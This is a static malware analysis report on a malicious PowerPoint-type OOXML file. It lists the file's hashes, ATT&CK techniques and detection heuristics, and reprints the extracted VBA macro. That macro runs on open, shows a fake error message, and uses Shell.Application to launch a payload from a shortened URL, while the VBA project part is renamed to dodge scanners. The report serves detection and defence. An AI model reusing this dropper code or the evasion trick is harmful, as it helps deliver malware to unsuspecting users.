Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3db6f5adaf1c880f…

MALICIOUS

Office (OOXML)

8.4 KB First seen: 2021-10-23
MD5: 2a6dc493d837b7f2a526f6d08bf5b5fe SHA-1: 9297ddc9eb82d722dddfdf3e7141852e6bdba10b SHA-256: 3db6f5adaf1c880f829c0e448e509ab9dd9b5f63a4982b7ac4ee9b4e6144388b
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The OOXML document contains a VBA macro within a renamed VBA project part, designed to evade detection. The Auto_Open macro executes a Shell command to download and run a payload from the URL https://www.bitly.com/wdowdpufhjwijjd. This indicates a malicious document intended to deliver a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/aksodkaoskdaoskdb.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim objShell
        Set objShell = CreateObject("Shell.Application")
        Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/wdowdpufhjwijjd", "", "open", 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
    Sub Auto_Open()
    MsgBox "Error!!"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/wdowdpufhjwijjd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 590 bytes
SHA-256: 3c2af9a88cb20f6d9b5a8753447114872b85fbb9834d150ef94ff820c43158c8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "k1"
Attribute VB_Base = "0{403E30EB-1C85-423B-8B50-3F8C1D2242B8}{AA7DE0A2-563F-48EA-9BA6-0747637603A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module11"
Sub Auto_Open()
MsgBox "Error!!"
    Dim objShell
    Set objShell = CreateObject("Shell.Application")
    Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/wdowdpufhjwijjd", "", "open", 1)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/aksodkaoskdaoskdb.b 19968 bytes
SHA-256: 05205ba6132a60c4c9f8848d589309b991d52f9dfd788c050db7c36048ca5d8f